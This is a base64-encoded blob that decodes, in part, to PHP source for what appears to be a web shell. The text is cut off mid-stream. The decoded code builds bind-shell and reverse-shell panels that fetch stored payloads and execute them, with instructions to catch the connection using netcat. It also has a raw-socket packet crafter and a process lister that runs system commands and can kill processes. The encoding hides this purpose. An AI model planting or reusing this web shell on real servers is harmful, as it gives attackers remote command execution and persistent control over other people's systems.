YURVQk5UbW5kaXhnc0NLYjlRbVY0ZjI2NjdaMW44UWJFcHJ3SUlmSXBvaC9IbnFYeWZKeS8rU25vYkZheDF3U3k4dFhXVjMwTVRHMVVsTFZLUGJCQlV6MjlRRUIzM28ydGlWeXR1Qm1wWnpzcCtKRVc3eXJlNzZ3MVhPSXhBNFdjVVJXSVF3T3VSZDBEMUQzczF6WXhyNnlxcDhiZW9wbjMwdFBJZEV1dDFzVGorNWdkbE5TR0hGcy9jS0Q2ZlRHbzFXVjVNZUJPZFY1L3hDSHB5K1dGdkxPNVpYNXNhTXlacm5OOW1VektodCtJc2JUNTRRWUY3bVgxajdyZm5uSlpram03MkJKdVViM0xDS3lNSmlSaDIzZmt0SXBSRjJSSFdtc3pTV055R1NsUTFIS3djOWpXNlpYM3hhNjkzYzhiMVV2Y3BBdlY4NE5hbnZKUG1iOXdzKzFIcnJLQXBoZTlNYVVDRHlHVVB4eCtvc1VldkcwVzNENnZodW45QVgyREpEK25YbHVhN3RMbkZYMTk3d0RUSXFuL3djWC80bkVHOFJqR3plbjhMY1loTlAza1lYdGtCYTI4VE1TMmdhMEZPK1dvWTd1TWRSQTkvcjdkcmRBMnVkTmM3ZDZVN0MzOU50SDdRdkdSMWVjd3NIMEN4aTdKbFlqaGYzQTNKNzZpejUrNGRtOWZVeHdxTE9LZHRGMWpXME5qN2Voc2lMUTdmNlAvQ0UrTmdrbVhiT2llRXhpNFZram02UTdLRUYrZHB5Uk5RMTJta3ROU0k5endZalZsVmZZb3ZGZGoyUDE0REhoWmYwSTdUQjIySXhaK1V3OTVMdCt4V21Qelc3elRoQ2IycHJNUnl3bkJ6NGE1byticGx5QW8wZVRkSTN2T3RZMFRZMURRTXd4MGpHdjlyK1Q1M3pobmpxaWk0eWpmZmEzVHlqYlJKYUdIdXA0OHhtQzFvYlZpQ0ZyVnUvdVdZMmRhSFRTQUZRUXdMd3c3ZzhtWXVrRlAwNjNycTRBb2ZFcml6bWFueUMxUjgrVXpMbGRreG1JejNiS3N5bmFWYkp6NkU3dWZEOE9UQ29JMmZ6TVhPYTY3QlpGQTFpYWpRRG1UbnQ1MGN2ZXJpZWphNHlFT1dWM1IzMlRITTkrMUVEZnlORWxzeU41Z1ZmYTh4em0wQ3NLRS9XamczaFBSL0EwV0RVUTFDUDJvaVZ6ZWJXN1J1RzZGUFlaenpVdys3d0ZNZGcvME8xa3grdHU2YVRzcEZrTXUwdTNQeTFPcmR2c1J3WFZTM3FJQVEvbkU5MTlmUFR2NlR1c0hxb0Q5UDU2dnhmSjV1eWFEOGhMbDFIYkR4b2NvWGpzUnhDZm91SmtpYmVZVWxRTU9uK1RQNjJySTZQNmtISWV3WG1ieHRsNTlCeE1idDZIbjdjN05MN3IwTGZpRi9GZmtURlAxejdVRjlnT2pZcU9QNjk0UmVLbEc4dWhDSUxaNGNMazJMb3V5OXlsWURhQjVHU3BrMDNsN3VwYjU4NGdSMERIMmFkQ0JnTXZ1dEgyOWRxOTYyNlZQUENQR3BjaUc2ZnBMdlVPUDRDYjZVQzlWQTl5QTlmVTFpK201VmRkNlNhT0ZZVmpibEpxaHEvMUZrelowYlRhUzlWeFYxVW1zdFo4czNiOFY3cWhtT2ErM0tsdzM5cDVoL2NQL3dvUng0aFZRZkhMUVY3aWpUYkZmUnF5MFQwalNlV2hqd05yUWVSRFk5ZnF0SmlQY2JaNXhFRDR4QWRuTW5IZXA1Y3E3K2g3OVJrR3E3djZxKzVIenR2ZTI2MmIyNjArYzloNjFhNkpwYitFbGtQVmE5TW5heDdrNFF1K0h6ay90VStBTFA2K0ZydXQ0TDh3dndxWE9JYVZNWm1EQ3NyS0p3VTkxZS8xM2dHZmV0OEVQZ1o4ZW9hZUx2WEgrSnBYTFI4dnVBTGRhc2I1c1haVlBLWjdRdis4WDBxWUtQQ05MaWQ2WG43czkyRGJQdWZXL0dNTVE0eWxUM1loVTJSUDNqWm9JV3NUSkpRdkx6T2I0S21peG1JWFpBb2h0c0kweE80WWJkOVF0cE1GYzByOWkrU2tFL2JpUkZUTm8rWE16ZWFYRm14ME1FWnZWK1QyRHZPTDRpVmpnMGhucVNGNURWdUE1OGV5SFF2Tyt5SUg4Mk9wM2RraVR3R0R2VE9DbEhiQzU0TDYvYVZuOWJoc2hxNVpudHY2Z2JWdjVZRnhtR2pVK2JMbEp2OUh0L1diaWR2dmh3YTREd3N3dUYxNTVtWGw3cGNzRjh6MlZVeXY4UWE3UUtwdVROLy9kOXhEYTczdExQTnN5dUNENDQ5S015NHV2QU9IODArSCtuZHMwT0dTbEYrMHljNHB5aXQwWDgwaXluWm1DYzdZYktFTEdzS2xSRnJlSHI1UllrZGkxdTBoQkRXSElNN2VMbGo3Ty9BOFBYWmxoNXBoaVZ6aHRwTVlUVnpaK2Ywc2ZkQ1RwTy9yaUlHL1BPUHBJM3FvblZjRTYzNmxOeTJ3L0VCbno3T3MrcnkyM2RJVkxXeXh6ZjhwUkRrcmRzdlo3SE1lRGw5THRoSVhxZnRlUFBKcGkyNWxBQnRESGcxVldLNUd1N3ZPVzlmQkR6UkZ3MldXQU11Qm82WGJ4eW04RnNmOWwwU1YzQVpDN2tHQ3hzakZ6OTVaY2dFZFJTZXJLdEhSZVBwaWFRVnF1RjhLT09pSTU4WEV6M0JDZkQxbk9GblNyVE9jQUZGRThzeXNYeEowNUhpcVROU2Q1VzU3WXZCSlUrdlNxS1N0QU1LeFArZ0xtT2FPYWZMM0ZMcHdLakdBdUdnRHNtWVBTU3BKelVqYnR0VEx4ME1rdmZ3Q1FhUUFmMTAyUDFhY0lWSEJZbVd3VktoU2lWV3BQaXQ4TTZHZkVRUlJiUlZMcFpBL2xLYVF5OFZwc0ZoRUlnSEIwVkZ4TWFIQjZDeGlZbktBS0lrOEkyZm1OQXRMWkdJb1hTaVJxcFZpZnhJQVFSc2tOUTZiWHlsaHRWRDZuanFQR1loWEtML3JxcmtPTFV6Tlc2ZUNoREJXSkZvNjNsdjd6WGJiclBVK0NmSk11U0pIRG1VVmpzaHJ4dFVpeFlZUEZHbUxKQXFHVWdIWFg1SjFrUlY3czllcjZHRWVKSi81TmRsdXFSTGhrdmZGaHMrd2hmMFF6c3BvYTdkLzR5c0U4MzRzZ05sSnhNeWxnR0FKeGkzZjhma1dXZDlsQktFQVhDcFJpdzJtZ2pMVkJDZVY2bXZGb3daZzcrRTE3a2R1NWl5SmFES2xTZXZ5cHp5eG9TUnJycGtLaHBIcEM2VDB4czZwNmhyN3JIbVFyU2JEZGxuU1hjcEJOOElSMi9Ba1R0bVg3QnFXekRnTWxWNkxDMDRvT2pWWU53NUdrQVVnMWM4NW9PV1RrZUhPWXVEcllpeEkwZUlXaXloaEd4dFQ2c3pubTRQSm1UYTdiUXFrdmJuOGx0MDQ0T3hqODkwbDNWdHNzUldVSUd1QmxpVmNRZjh5cmIxTmdHTXUyVHM3bTErcHlYbGlhWjlMeFJRdG0yWVFCQ0ZhcTQzRit0MjRzS0pQaDNkTjlsRGpHVERwNnJWbXM1T0VHa1BEeG5aU3MwdndtWmFUcld2dU9kVy9ISlp1aU5hQ3hiamRUVTlJdmtIa2pWUnY0eEU3em5YM3FMdnZUcStuMHBNTElFZmZwTFhWVi93RTV5SFpPOXdFdW9qQm0zQmVVQmljc2RCWFMvSExGZHh5djU2OTRCUnJyVlZNOExZYkg3cnZEYjdEM1YxdEUzWjMxZEc5UzlZR2hQbGY3MWcrL2g2cGVZL0s1NzNRMEVqZkh1dFJrcm5aZHJQUi9OeDRjLzZOZ3BqZ1hQbisxQU0zbFBhYmFKdUx0TzcxN1RraGJhVkpwQ0xwOHZGUFF5RStPZGtkd0d3czJXTjc4V05DL0FETVVTL0V0UnlLS1VtdlBTckZUVzhuS1ZsbHB5Umx2cnhOY0dHcERIVy91dGd4UmxXcE00N2NYSWJ6V0swS2p5ZUk3dnBHM2NYQkh4NDhmaW9LZFNzdk50MTgwSmVOdWdOUHAvRzlkSGl3N01wNkZ1RWRQMXdZV3VoVVRGSjZsaWJCS0Nzck1aYkIxNDJMU3lweFdkQXlFZG9IWkxtc3FyUUMzR2llR2taSFFCWk9GaEx4bWVhY05SUmZuOFVFRXc2QlNEdjMvc3ZaUmc3QXd0a2xhQ0s1UUJLT1VyQjNEekcvazhVdDlSUmlncVVLbFJoODNqc2RJWlNMcEdLbFdBaUxZNVNLTk9UNmNQVitMaTFFYkErTEpiQWtUU2lORTZkVjkvQTRjUTZoY2p1bGZiVlZabUl1M1o4U3ZxSkhycWhabUMyaHltWGlwUnVFN3NMVWp1ckE2a2d1a3lkVXNaUnpsRGJQYjN6NE1rb2hVa3NMbkVPNHlQaVFsWDFFSEx3YVZtZXRsYWNyRHZVa3F5QjhUcmJrL1UvR1plSXUzcVZzZXlLY0lOL0svL2xWOVhMUjU4ZXpITUlrVWpNTHExd3hFUzlWQ1U5STFhOWl2Qi9lT0pNUEI5Q3FaRFdPRFRhSndxU3dxamp5eURkV3cydWpVN2ZORC8raXEvcWxieTZmbnhFdW15Ly9Pa01iMWRHZ29tWmh4UmliOUIwN1hsVExCc1Z1S3I0d2l3SG5aZEZxYjh6K1liOGY0VkNxMVpLMlI2YzlxQXM5L2VBZlJtWW4wMHVaQklYRVNwNllNdEFuWFFoZzB1ZW41enp2VGU3UEljakVzclNzdk5VRWxTUkQzdW53dzNXaE5EczlDeXBPUDFzcDdSci9XMU5pSERlT2s3bVFhMWNmVkc1enB5MjQ2eDJwVTUzMWVTaFhsYmE4ZGtMWXNDTlZJaGQ1cXdKbUpUdWtndzRkR1ZzVjJaMmI2bFB6dHU4NnRWVXV4ZVBEMjVVcTZTWmkvc3JpekJXY2d6R2hQQXdSN1ovNUdrRkxjMno3VE9kTTlpZi82QURNMG1GTlE5SVFQcGwrMkpPOGVjNzhic2Q3R0RBZ1QzNkxlcExDeVZxQ0F5Q0M4czRLa002bFozWGkxM2tjdERJdVorSmFsWURuOWphUEQyVWxsT2JkSlF6ajR5THlWQys0UU9BazhCQU5STjVlSVJXZW44SldPQXdOeVZ5WUpnK2wyeVRkRU4zYTZjcmtlSWkzRm5SQVBVWEtzcE00VmN3YzE1WUpIaTVWclRVTHdrcDNPbXB5Sk1GWm81aUt3UlA0ZWNHeDhYNDBRY1lCNWdtMkt5eFZIYUk4RFlDTWk3WXl4aTdOQlFvWWJ6cFZOb0M4N1ZrRkRmYVZITURRWU9FalNLTDJCbUtoRzEvTEhueFlDU0VjMDZVbTZPZHBSNllaWGNyaEN6TnQvTzhRaGduVHBScFZXNzhOVmYxZXJkb0JuTkxtU2g4UnpkYU9JVENzdS9wN2Z1c2ZBalhFL2RQa0g0cHByMkFMWGdMUEVFUjdHMk93VzZaOU9aMU4yNE1OUWhlMVZqMHhtSVkrTVl4NnJMWVIxQkcwMTBEdElKanpDK2JXSUErRlUzUVR0VHZSbGU0aGhMc1BCR0J5SmpSckFQVlRQV0VQSDB5L01rQzhZcUlYTnkyZTFGZ0dNR016dVZZbEhUOTJHaG9BSXdEb0NkWW1PRURQQncyRm5vQUozZXV6R08wMUluSlloUHFIMEhKRUU5eXRlNUVZOGZSTUFuSjQ1c1VFU2lmb2NGb3phSG1NSE01RkFmMFpLVHFpMWNZUXBIN21WVUZNL0RZd0xoRzViOWg5QXIxNkdpaGZJM0RMVDRxSmo1a0Jrd3pIWjRpRytyVm9VcUtYNmF1TmEyTzJZZUtRMjBKRENGdXpEVmpacFA1Vk82UVo5SXRGRU11Y0RRMmdoZ05NZjFOa2dtMjI0VFlpTUp2KzQ2OUl1MlVrcFpHQ2xqWnhBQzJxZG9JMzluY1NZZUlBL3kvL0M2UzBIUUJFN1gvRXZrQmp6Wit3U2pRdStSTldqOGJHOXYrK2JqT0szME8xSDlYbnFHSnZBd0Q5OXB1NWVXOHQrNjMxZkdzalEyUFhoL0o4dkQxQ2VEeEFwc3BPVThMb01VNEtKTVo1ODFIMGpSc2RIUG1XQWZBVVFoRlBrcW9VS3ZPNEFCQXVobWVlVDF5UlNDbFdxUUJnZytUMTBRekZZUFJvOTF2TWxVb1ZhYjlGWVVxeEdQM20wRnpKNitUWGlRQmZva2hGLy96b0hWdVJsaW1HMGRvek4rZi9PNy81dndBPSI7CgokR0xPQkFMU1snbW9kdWxlJ11bJ25ldHdvcmsnXVsnaWQnXSA9ICJuZXR3b3JrIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ3RpdGxlJ10gPSAiTmV0d29yayI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbmV0d29yayddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWyduZXR3b3JrJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+QmluZCBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5TZXJ2ZXIgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JpbmRBZGRyJyB2YWx1ZT0nIi4kc2VydmVyX2FkZHIuIicgZGlzYWJsZWQ+PC90ZD48L3RyPgoJPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdiaW5kUG9ydCcgdmFsdWU9JyIuJGRlZmF1bHRfcG9ydC4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncnNfZ29fYmluZCcpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PgoJPHRyPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHg7Jz4KCQkJPHNlbGVjdCBpZD0nYmluZExhbmcnIGNsYXNzPSdyc1R5cGUnPgoJCQkJIi4kd2luYmluYXJ5LiIKCQkJPC9zZWxlY3Q+CgkJPC90ZD4KCQk8dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInJzX2dvX2JpbmQoKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JpbmRSZXN1bHQnPlByZXNzICcgcnVuICcgYnV0dG9uIGFuZCBydW4gJyBuYyBzZXJ2ZXJfaXAgcG9ydCAnIG9uIHlvdXIgY29tcHV0ZXI8L3ByZT48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+Cjxicj4KPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+Cgk8dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+UmV2ZXJzZSBTaGVsbDwvcD48L3RoPjwvdHI+CjwvdGhlYWQ+Cjx0Ym9keT4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5UYXJnZXQgSVA8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tBZGRyJyB2YWx1ZT0nIi4kcmVtb3RlX2FkZHIuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3JzX2dvX2JhY2snKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2JhY2tQb3J0JyB2YWx1ZT0nIi4kZGVmYXVsdF9wb3J0LiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyc19nb19iYWNrJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdiYWNrTGFuZycgY2xhc3M9J3JzVHlwZSc+CgkJCQkiLiR3aW5iaW5hcnkuIgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwicnNfZ28oJ2JhY2snKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxwcmUgaWQ9J2JhY2tSZXN1bHQnPlJ1biAnIG5jIC1sIC12IC1wIHBvcnQgJyBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyAnIHJ1biAnIGJ1dHRvbjwvcHJlPjwvdGQ+PC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGJyPgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5TaW1wbGUgUGFja2V0IENyYWZ0ZXI8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIHN0eWxlPSd3aWR0aDoxMjBweCc+SG9zdDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0SG9zdCcgdmFsdWU9J3RjcDovLyIuJHNlcnZlcl9hZGRyLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdwYWNrZXRfZ28nKTtcIj48L3RkPjwvdHI+Cgk8dHI+PHRkPlN0YXJ0IFBvcnQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFN0YXJ0UG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5FbmQgUG9ydDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0RW5kUG9ydCcgdmFsdWU9JzgwJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5Db25uZWN0aW9uIFRpbWVvdXQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3BhY2tldFRpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5TdHJlYW0gVGltZW91dDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0ncGFja2V0U1RpbWVvdXQnIHZhbHVlPSc1JyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAncGFja2V0X2dvJyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0ncGFja2V0Q29udGVudCcgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+R0VUIC8gSFRUUC8xLjFcXHJcXG5cXHJcXG48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj4KCQk8dGQ+CgkJCTxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJwYWNrZXRfZ28oKTtcIiBzdHlsZT0nd2lkdGg6MTIwcHg7Jz5ydW48L3NwYW4+CgkJPC90ZD4KCQk8dGQ+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD4KCTwvdHI+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3BhY2tldFJlc3VsdCc+PC9kaXY+PC90ZD48L3RyPgo8L3Rmb290Pgo8L3RhYmxlPgoiOwoKCmlmKGlzc2V0KCRwWydyc0xhbmcnXSkgJiYgaXNzZXQoJHBbJ3JzQXJncyddKSl7CgkkcnNMYW5nID0gJHBbJ3JzTGFuZyddOwoJJHJzQXJncyA9ICRwWydyc0FyZ3MnXTsKCSRyZXMgPSAiIjsKCglpZigkcnNMYW5nPT0icGhwIil7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRyc0FyZ3MuIlwiOyA/PiIuJGNvZGU7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgIiIpOwoJCX0KCX0KCWVsc2V7CgkJJGNvZGUgPSBnZXRfcmVzb3VyY2UoInJzXyIuJHJzTGFuZyk7CgkJaWYoJGNvZGUhPT1mYWxzZSl7CgkJCSRyZXMgPSBldmFsX2dvKCRyc0xhbmcsICRjb2RlLCAiIiwgJHJzQXJncyk7CgkJfQoJfQoKCWlmKCRyZXM9PT1mYWxzZSkgJHJlcyA9PSAiZXJyb3IiOwoJb3V0cHV0KGh0bWxfc2FmZSgkcmVzKSk7Cn0KZWxzZWlmKGlzc2V0KCRwWydwYWNrZXRUaW1lb3V0J10pJiZpc3NldCgkcFsncGFja2V0U1RpbWVvdXQnXSkmJmlzc2V0KCRwWydwYWNrZXRQb3J0J10pJiZpc3NldCgkcFsncGFja2V0VGltZW91dCddKSYmaXNzZXQoJHBbJ3BhY2tldENvbnRlbnQnXSkpewoJJHBhY2tldEhvc3QgPSB0cmltKCRwWydwYWNrZXRIb3N0J10pOwoJaWYoIXByZWdfbWF0Y2goIi9bYS16MC05XSs6XC9cLy4qLyIsICRwYWNrZXRIb3N0KSkgJHBhY2tldEhvc3QgPSAidGNwOi8vIi4kcGFja2V0SG9zdDsKCgkkcGFja2V0UG9ydCA9IChpbnQpICRwWydwYWNrZXRQb3J0J107CgoJJHBhY2tldFRpbWVvdXQgPSAoaW50KSAkcFsncGFja2V0VGltZW91dCddOwoJJHBhY2tldFNUaW1lb3V0ID0gKGludCkgJHBbJ3BhY2tldFNUaW1lb3V0J107CgoJJHBhY2tldENvbnRlbnQgPSAkcFsncGFja2V0Q29udGVudCddOwoJaWYoY3R5cGVfeGRpZ2l0KCRwYWNrZXRDb250ZW50KSkgJHBhY2tldENvbnRlbnQgPSBAcGFjaygiSCoiICwgJHBhY2tldENvbnRlbnQpOwoJZWxzZXsKCQkkcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGVudCk7CgkJJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7Cgl9CgoJJHJlcyA9ICIiOwoKCgkkc29jayA9IGZzb2Nrb3BlbigkcGFja2V0SG9zdCwgJHBhY2tldFBvcnQsICRlcnJObywgJGVyclN0ciwgJHBhY2tldFRpbWVvdXQpOwoJaWYoISRzb2NrKXsKCQkkcmVzIC49ICI8ZGl2IGNsYXNzPSd3ZWFrJz4iOwoJCSRyZXMgLj0gaHRtbF9zYWZlKHRyaW0oJGVyclN0cikpLiIgKGVycm9yICIuaHRtbF9zYWZlKHRyaW0oJGVyck5vKSkuIik8L2Rpdj4iOwoJfQoJZWxzZXsKCQlzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssICRwYWNrZXRTVGltZW91dCk7CgkJZndyaXRlKCRzb2NrLCAkcGFja2V0Q29udGVudC4iXHJcblxyXG5ceDAwIik7CgkJJGNvdW50ZXIgPSAwOwoJCSRtYXh0cnkgPSAxOwoJCSRiaW4gPSAiIjsKCQlkb3sKCQkJJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7CgkJCWlmKHRyaW0oJGxpbmUpPT0iIikgJGNvdW50ZXIrKzsKCQkJJGJpbiAuPSAkbGluZTsKCQl9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7CgkJZmNsb3NlKCRzb2NrKTsKCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5odG1sX3NhZmUoJGJpbikuIjwvdGV4dGFyZWE+PC90ZD48L3RyPiI7CgkJJHJlcyAuPSAiPHRyPjx0ZD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+Ii5iaW4yaGV4KCRiaW4pLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7Cgl9CgoJb3V0cHV0KCRyZXMpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ3Byb2Nlc3NlcyddWydpZCddID0gInByb2Nlc3NlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsncHJvY2Vzc2VzJ11bJ3RpdGxlJ10gPSAiUHJvY2Vzc2VzIjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnanNfb250YWJzZWxlY3RlZCddID0gInNob3dfcHJvY2Vzc2VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydwcm9jZXNzZXMnXVsnY29udGVudCddID0gIiI7CgppZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X3Byb2Nlc3NlcycpKXsKCWZ1bmN0aW9uIHNob3dfcHJvY2Vzc2VzKCl7CgkJJG91dHB1dCA9ICcnOwoJCSR3Y291bnQgPSAxMTsKCQlpZihpc193aW4oKSl7CgkJCSRjbWQgPSAidGFza2xpc3QgL1YgL0ZPIGNzdiI7CgkJCSR3ZXhwbG9kZSA9ICJcIixcIiI7CgkJfQoJCWVsc2V7CgkJCSRjbWQgPSAicHMgYXV4IjsKCQkJJHdleHBsb2RlID0gIiAiOwoJCX0KCgkJJHJlcyA9IGV4ZWN1dGUoJGNtZCk7CgkJaWYodHJpbSgkcmVzKT09JycpIHJldHVybiBmYWxzZTsKCQllbHNlewoJCQkkb3V0cHV0IC49ICI8dGFibGUgaWQ9J3BzVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+IjsKCQkJaWYoIWlzX3dpbigpKSAkcmVzID0gcHJlZ19yZXBsYWNlKCcjXCArIycsJyAnLCRyZXMpOwoKCQkJJHBzYXJyID0gZXhwbG9kZSgiXG4iLCRyZXMpOwoJCQkkZmkgPSB0cnVlOwoJCQkkdGJsY291bnQgPSAwOwoKCQkJJGNoZWNrID0gZXhwbG9kZSgkd2V4cGxvZGUsJHBzYXJyWzBdKTsKCQkJJHdjb3VudCA9IGNvdW50KCRjaGVjayk7CgoJCQlmb3JlYWNoKCRwc2FyciBhcyAkcHNhKXsKCQkJCWlmKHRyaW0oJHBzYSkhPScnKXsKCQkJCQlpZigkZmkpewoJCQkJCQkkZmkgPSBmYWxzZTsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0Jz5hY3Rpb248L3RoPiI7CgkJCQkJCWZvcmVhY2goJHBzbG4gYXMgJHApICRvdXRwdXQgLj0gIjx0aD4iLnRyaW0odHJpbShzdHJ0b2xvd2VyKCRwKSkgLCJcIiIpLiI8L3RoPiI7CgkJCQkJCSRvdXRwdXQgLj0gIjwvdHI+IjsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJHBzbG4gPSBleHBsb2RlKCR3ZXhwbG9kZSwgJHBzYSwgJHdjb3VudCk7CgkJCQkJCSRwaWQgPSB0cmltKHRyaW0oJHBzbG5bMV0pLCJcIiIpOwoJCQkJCQkkdGJsY291bnQgPSAwOwoJCQkJCQkkb3V0cHV0IC49ICI8dHIgZGF0YS1waWQ9JyIuJHBpZC4iJz4iOwoKCQkJCQkJZm9yZWFjaCgkcHNsbiBhcyAkcCl7CgkJCQkJCQlpZih0cmltKCRwKT09IiIpICRwID0gIiAiOwoJCQkJCQkJJHAgPSB0cmltKHRyaW0oJHApICwiXCIiKTsKCQkJCQkJCSRwID0gaHRtbF9zYWZlKCRwKTsKCQkJCQkJCWlmKCR0Ymxjb3VudCA9PSAwKXsKCQkJCQkJCQkkb3V0cHV0IC49ICI8dGQ+PGRpdiBjbGFzcz0nY0JveCc+PC9kaXY+PC90ZD48dGQ+PGEgY2xhc3M9J2tpbGwnPmtpbGw8L2E+PC90ZD48dGQ+Ii4kcC4iPC90ZD4iOwoJCQkJCQkJCSR0Ymxjb3VudCsrOwoJCQkJCQkJfQoJCQkJCQkJZWxzZXsKCQkJCQkJCQkkdGJsY291bnQrKzsKCQkJCQkJCQlpZigkdGJsY291bnQgPT0gY291bnQoJHBzbG4pKSAkb3V0cHV0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPiIuJHAuIjwvdGQ+IjsKCQkJCQkJCQllbHNlICRvdXRwdXQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiRwLiI8L3RkPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJG91dHB1dCAuPSAiPC90cj4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQkkY29sc3BhbiA9IGNvdW50KCRwc2xuKSsxOw